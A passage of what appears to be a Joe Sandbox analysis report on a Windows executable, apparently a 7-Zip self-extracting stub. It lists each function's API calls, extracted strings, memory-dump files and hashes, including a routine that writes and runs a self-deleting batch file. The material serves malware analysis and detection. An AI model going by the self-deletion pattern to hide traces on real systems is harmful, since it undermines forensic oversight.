                                                                                                                                                                                                                                                                                    • GetExitCodeProcess.KERNEL32(?,?), ref: 004056BF
                                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 004056CA
                                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004056D6
                                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004056DD
                                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004056E8
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@$CloseHandleObject$CreateProcess$CompletionErrorLastResumeThread$AssignCodeCommandExitInfoInformationLinePortQueuedSingleStartupStatusWait
                                                                                                                                                                                                                                                                                    • String ID: " -$sfxwaitall
                                                                                                                                                                                                                                                                                    • API String ID: 2734624574-3991362806
                                                                                                                                                                                                                                                                                    • Opcode ID: c2e281962814c2bd4c040bf537fa2d9b9fa3379860e294df17422ee88ae54ba2
                                                                                                                                                                                                                                                                                    • Instruction ID: 96b1f86dbfc8e56d759c45ddf3715b356338dee30da8fd38d33b0e85c5ab07db
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c2e281962814c2bd4c040bf537fa2d9b9fa3379860e294df17422ee88ae54ba2
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F66151B2801108BBDF11AFA2DC45DDF3B7DFF48314F004536F915A21A1EB3A99549B69
                                                                                                                                                                                                                                                                                    Function 00403B54 Relevance: 38.8, APIs: 20, Strings: 2, Instructions: 290comCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • _wtol.MSVCRT ref: 00403B78
                                                                                                                                                                                                                                                                                    • SHGetSpecialFolderPathW.SHELL32(00000000,?,?,00000000,0041EA00,00000000,0041E9F4), ref: 00403C1B
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?), ref: 00403C8C
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?), ref: 00403C94
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 00403C9C
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?), ref: 00403CA4
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?), ref: 00403CAC
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00403CB4
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403CBC
                                                                                                                                                                                                                                                                                    • _wtol.MSVCRT ref: 00403D12
                                                                                                                                                                                                                                                                                    • CoCreateInstance.OLE32(0041C454,00000000,00000001,0041C414,[@,.lnk,?,0000005C), ref: 00403DB3
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,0000005C), ref: 00403E4B
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,0000005C), ref: 00403E53
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,0000005C), ref: 00403E5B
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,0000005C), ref: 00403E63
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,0000005C), ref: 00403E6B
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,0000005C), ref: 00403E73
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,0000005C), ref: 00403E7B
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,0000005C), ref: 00403E81
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0000005C), ref: 00403E89
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@$_wtol$CreateFolderInstancePathSpecial
                                                                                                                                                                                                                                                                                    • String ID: .lnk$[@
                                                                                                                                                                                                                                                                                    • API String ID: 408529070-3575931549
                                                                                                                                                                                                                                                                                    • Opcode ID: bf0e8a7df910328bb8376132718844ce6bb33e016dc20b09a56e47b2bf9c17d8
                                                                                                                                                                                                                                                                                    • Instruction ID: 946a9f5c9c0093345211e4afafb7f9b8cfdd3f629f77b347e180bd11e348c725
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: bf0e8a7df910328bb8376132718844ce6bb33e016dc20b09a56e47b2bf9c17d8
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 57A16E75810108ABCF15EFA1CC969EEBB7DFF19306F50442AF402B61A1EB399E41CB58
                                                                                                                                                                                                                                                                                    Function 00404F0E Relevance: 37.0, APIs: 3, Strings: 18, Instructions: 227stringCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • _wtol.MSVCRT ref: 004050E7
                                                                                                                                                                                                                                                                                    • _wtol.MSVCRT ref: 00405103
                                                                                                                                                                                                                                                                                    • lstrcmpiW.KERNEL32(00000000,0041B810,?,?,?,?,?,?,?,?,?,?,?,?,?,004062C4), ref: 00404FEA
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: wsprintfW.USER32 ref: 004024DD
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 004024F7
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 0040252C
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: lstrcmpiW.KERNEL32(009795D0,?), ref: 00402541
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(009795D0), ref: 00402551
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: SetLastError.KERNEL32(00000003), ref: 00402578
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: lstrlenA.KERNEL32(0041B328), ref: 004025AC
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040247D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ErrorLast$??2@EnvironmentVariable_wtollstrcmpi$??3@InfoLocalelstrlenwsprintf
                                                                                                                                                                                                                                                                                    • String ID: CancelPrompt$ErrorTitle$ExtractCancelText$ExtractDialogText$ExtractDialogWidth$ExtractPathText$ExtractPathTitle$ExtractPathWidth$ExtractTitle$GUIFlags$GUIMode$MiscFlags$OverwriteMode$PasswordText$PasswordTitle$Progress$Title$WarningTitle
                                                                                                                                                                                                                                                                                    • API String ID: 2725485552-2157245290
                                                                                                                                                                                                                                                                                    • Opcode ID: b07f42a23a9929bffc3acaede4da6c7cea93b6737588d89eae477c6541a7c779
                                                                                                                                                                                                                                                                                    • Instruction ID: 66a2ce9ff7a2cb702224bd8f74ea761d5872454bbbc4643ec2785d60350ddd68
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b07f42a23a9929bffc3acaede4da6c7cea93b6737588d89eae477c6541a7c779
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: AC51D8F1E016007ADA216B275D4ADAF366CEB85704B28443BFD04F22D6E77C4A4046EF
                                                                                                                                                                                                                                                                                    Function 00405793 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 144fileCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetDriveTypeW.KERNEL32(?,?,?), ref: 004057DA
                                                                                                                                                                                                                                                                                    • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0040580B
                                                                                                                                                                                                                                                                                    • WriteFile.KERNEL32(0041EA30,?,?,00407468,00000000,del ",:Repeat,00000000), ref: 004058C0
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?), ref: 004058CB
                                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(0041EA30), ref: 004058D4
                                                                                                                                                                                                                                                                                    • SetFileAttributesW.KERNEL32(00407468,00000000), ref: 004058EB
                                                                                                                                                                                                                                                                                    • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 004058FD
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?), ref: 00405906
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?), ref: 00405912
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(00407468,?), ref: 00405918
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(00407468,?,?,?,?,?,?,?,?,?,?,?,?,?,00407468,0041EA30), ref: 00405946
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@$File$AttributesCloseCreateDriveExecuteHandleShellTypeWrite
                                                                                                                                                                                                                                                                                    • String ID: "$" goto Repeat$7ZSfx%03x.cmd$:Repeat$del "$if exist "$open
                                                                                                                                                                                                                                                                                    • API String ID: 3007203151-3467708659
                                                                                                                                                                                                                                                                                    • Opcode ID: 30920ae2f114942037667fcef3695092ebf7d87c0f31e60c9b52ff49f89ef857
                                                                                                                                                                                                                                                                                    • Instruction ID: eb7ea14b5f0693ba8c6a98bcb421c9bec9bd01f197c59b95adb21b6866ed8523
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 30920ae2f114942037667fcef3695092ebf7d87c0f31e60c9b52ff49f89ef857
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DE413871800108AEDB11ABA5EC86DEF7B7DEF04724F50843AF511721E1EB795E85CB98
                                                                                                                                                                                                                                                                                    Function 00403423 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 123windowlibrarystringCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetClassNameA.USER32(?,?,00000040), ref: 00403436
                                                                                                                                                                                                                                                                                    • lstrcmpiA.KERNEL32(?,STATIC), ref: 00403449
                                                                                                                                                                                                                                                                                    • GetWindowLongW.USER32(?,000000F0), ref: 00403456
                                                                                                                                                                                                                                                                                      • Part of subcall function 004033E0: GetWindowTextLengthW.USER32(?), ref: 004033F1
                                                                                                                                                                                                                                                                                      • Part of subcall function 004033E0: GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?), ref: 00403483
                                                                                                                                                                                                                                                                                    • GetParent.USER32(?), ref: 00403491
                                                                                                                                                                                                                                                                                    • LoadLibraryA.KERNEL32(riched20), ref: 004034A5
                                                                                                                                                                                                                                                                                    • GetMenu.USER32(?), ref: 004034B8
                                                                                                                                                                                                                                                                                    • SetThreadLocale.KERNEL32(00000419), ref: 004034C5
                                                                                                                                                                                                                                                                                    • CreateWindowExW.USER32(00000000,RichEdit20W,0041A584,50000804,?,?,?,?,?,00000000,00000000,00000000), ref: 004034F5
                                                                                                                                                                                                                                                                                    • DestroyWindow.USER32(?), ref: 00403506
                                                                                                                                                                                                                                                                                    • SendMessageW.USER32(00000000,00000459,00000022,00000000), ref: 0040351B
                                                                                                                                                                                                                                                                                    • GetSysColor.USER32(0000000F), ref: 0040351F
                                                                                                                                                                                                                                                                                    • SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0040352D
                                                                                                                                                                                                                                                                                    • SendMessageW.USER32(00000000,00000461,?,?), ref: 00403558
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?), ref: 0040355D
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?), ref: 00403565
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Window$??3@MessageSend$Text$ClassColorCreateDestroyLengthLibraryLoadLocaleLongMenuNameParentThreadlstrcmpi
                                                                                                                                                                                                                                                                                    • String ID: RichEdit20W$STATIC$riched20${\rtf
                                                                                                                                                                                                                                                                                    • API String ID: 3514532227-2281146334
                                                                                                                                                                                                                                                                                    • Opcode ID: c286caa82b99ae390a7687983e8ee3eb06d76ab9f7170e9dcdb9ea0a05f1a152
                                                                                                                                                                                                                                                                                    • Instruction ID: e5fea360a7eb9894b086cd4675cd9c6500acd79176ce5b6afcc660833785d9d0
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c286caa82b99ae390a7687983e8ee3eb06d76ab9f7170e9dcdb9ea0a05f1a152
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 67317F72901109BFDB01AFA5DC49EEF7BBCEB08705F10407AF604F6190DA799E518B6A
                                                                                                                                                                                                                                                                                    Function 00408E76 Relevance: 34.8, APIs: 23, Instructions: 265windowCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
                                                                                                                                                                                                                                                                                    • LoadIconW.USER32(00000000), ref: 00408EA2
                                                                                                                                                                                                                                                                                    • GetSystemMetrics.USER32(00000032), ref: 00408EB6
                                                                                                                                                                                                                                                                                    • GetSystemMetrics.USER32(00000031), ref: 00408EBB
                                                                                                                                                                                                                                                                                    • GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
                                                                                                                                                                                                                                                                                    • LoadImageW.USER32(00000000), ref: 00408EC7
                                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
                                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B2), ref: 00408F0C
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B2), ref: 00408F16
                                                                                                                                                                                                                                                                                    • GetWindowLongW.USER32(?,000000F0), ref: 00408F22
                                                                                                                                                                                                                                                                                    • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B5), ref: 00408F3F
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B5), ref: 00408F4D
                                                                                                                                                                                                                                                                                    • GetWindowLongW.USER32(?,000000F0), ref: 00408F59
                                                                                                                                                                                                                                                                                    • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68
                                                                                                                                                                                                                                                                                    • GetWindow.USER32(?,00000005), ref: 0040904E
                                                                                                                                                                                                                                                                                    • GetWindow.USER32(?,00000005), ref: 0040906A
                                                                                                                                                                                                                                                                                    • GetWindow.USER32(?,00000005), ref: 00409082
                                                                                                                                                                                                                                                                                    • GetModuleHandleW.KERNEL32(00000000,00000065,000004B4,00000000,000004B3,00000000,000004B2,?,000004B7,?,?,?,?,?,00409240), ref: 004090E2
                                                                                                                                                                                                                                                                                    • LoadIconW.USER32(00000000), ref: 004090E9
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B1), ref: 00409108
                                                                                                                                                                                                                                                                                    • SendMessageW.USER32(00000000), ref: 0040910B
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408270: GetDlgItem.USER32(?,?), ref: 0040827A
                                                                                                                                                                                                                                                                                      • Part of subcall function 00408270: GetWindowTextLengthW.USER32(00000000), ref: 00408281
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Window$Item$Long$HandleLoadMessageModuleSend$IconMetricsSystem$ImageLengthShowText
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3694754696-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 8832852695b61a5bc0c0008d723e966c16d3ed2a948ec000c9245d8e209d2d2c
                                                                                                                                                                                                                                                                                    • Instruction ID: 99f397414dc97442f2ad5b2e660166812613d2f2543b201c56f9d92a48738ce2
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8832852695b61a5bc0c0008d723e966c16d3ed2a948ec000c9245d8e209d2d2c
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B971E6703047056BEA216B21DD4AF2B3659EF84714F10443EF652BA2E3CFBDAC018A5E
                                                                                                                                                                                                                                                                                    Function 004021A8 Relevance: 31.6, APIs: 21, Instructions: 121windowCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetWindowDC.USER32(00000000), ref: 004021B4
                                                                                                                                                                                                                                                                                    • GetDeviceCaps.GDI32(00000000,00000058), ref: 004021C0
                                                                                                                                                                                                                                                                                    • MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004021D9
                                                                                                                                                                                                                                                                                    • GetObjectW.GDI32(?,00000018,?), ref: 00402208
                                                                                                                                                                                                                                                                                    • MulDiv.KERNEL32(?,00000003,00000002), ref: 00402213
                                                                                                                                                                                                                                                                                    • MulDiv.KERNEL32(?,00000003,00000002), ref: 0040221D
                                                                                                                                                                                                                                                                                    • CreateCompatibleDC.GDI32(?), ref: 0040222B
                                                                                                                                                                                                                                                                                    • CreateCompatibleDC.GDI32(?), ref: 00402232
                                                                                                                                                                                                                                                                                    • SelectObject.GDI32(00000000,?), ref: 00402240
                                                                                                                                                                                                                                                                                    • CreateCompatibleBitmap.GDI32(?,?,?), ref: 0040224E
                                                                                                                                                                                                                                                                                    • SelectObject.GDI32(00000000,00000000), ref: 00402256
                                                                                                                                                                                                                                                                                    • SetStretchBltMode.GDI32(00000000,00000004), ref: 0040225E
                                                                                                                                                                                                                                                                                    • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0040227D
                                                                                                                                                                                                                                                                                    • GetCurrentObject.GDI32(00000000,00000007), ref: 00402286
                                                                                                                                                                                                                                                                                    • SelectObject.GDI32(00000000,?), ref: 00402293
                                                                                                                                                                                                                                                                                    • SelectObject.GDI32(00000000,?), ref: 00402299
                                                                                                                                                                                                                                                                                    • DeleteDC.GDI32(00000000), ref: 004022A2
                                                                                                                                                                                                                                                                                    • DeleteDC.GDI32(00000000), ref: 004022A5
                                                                                                                                                                                                                                                                                    • ReleaseDC.USER32(00000000,?), ref: 004022AC
                                                                                                                                                                                                                                                                                    • ReleaseDC.USER32(00000000,?), ref: 004022BB
                                                                                                                                                                                                                                                                                    • CopyImage.USER32(?,00000000,00000000,00000000,00000000), ref: 004022C8
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Object$Select$CompatibleCreate$DeleteReleaseStretch$BitmapCapsCopyCurrentDeviceImageModeWindow
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3462224810-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 3220a658d56a4ac9a5ca2fef4fc815231d73787dff14446d5a04d435e3e7e9ea
                                                                                                                                                                                                                                                                                    • Instruction ID: 3b0073103a1e3377af01ca77c53c0656b208625dbf3d379900f4631a354f9c66
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3220a658d56a4ac9a5ca2fef4fc815231d73787dff14446d5a04d435e3e7e9ea
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DB314A76D01208BFDF115FE19D48EEF7F79EB48760F108066FA04B61A0C6794A60EB66
                                                                                                                                                                                                                                                                                    Function 004022D3 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 120windowcommemoryCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetClassNameA.USER32(?,?,00000040), ref: 004022E5
                                                                                                                                                                                                                                                                                    • lstrcmpiA.KERNEL32(?,STATIC), ref: 004022FC
                                                                                                                                                                                                                                                                                    • GetWindowLongW.USER32(?,000000F0), ref: 0040230F
                                                                                                                                                                                                                                                                                    • GetMenu.USER32(?), ref: 00402324
                                                                                                                                                                                                                                                                                      • Part of subcall function 004020BF: GetModuleHandleW.KERNEL32(00000000), ref: 004020CA
                                                                                                                                                                                                                                                                                      • Part of subcall function 004020BF: FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 004020E7
                                                                                                                                                                                                                                                                                      • Part of subcall function 004020BF: FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 004020FB
                                                                                                                                                                                                                                                                                      • Part of subcall function 004020BF: SizeofResource.KERNEL32(00000000,00000000), ref: 0040210C
                                                                                                                                                                                                                                                                                      • Part of subcall function 004020BF: LoadResource.KERNEL32(00000000,00000000), ref: 00402116
                                                                                                                                                                                                                                                                                      • Part of subcall function 004020BF: LockResource.KERNEL32(00000000), ref: 00402121
                                                                                                                                                                                                                                                                                    • GlobalAlloc.KERNEL32(00000040,00000010), ref: 00402356
                                                                                                                                                                                                                                                                                    • memcpy.MSVCRT(00000000,00000000,00000010), ref: 00402363
                                                                                                                                                                                                                                                                                    • CoInitialize.OLE32(00000000), ref: 0040236C
                                                                                                                                                                                                                                                                                    • CreateStreamOnHGlobal.OLE32(00000000,00000000,?), ref: 00402378
                                                                                                                                                                                                                                                                                    • OleLoadPicture.OLEAUT32(?,00000000,00000000,0041C434,?), ref: 0040239D
                                                                                                                                                                                                                                                                                    • GlobalFree.KERNEL32(00000000), ref: 004023AD
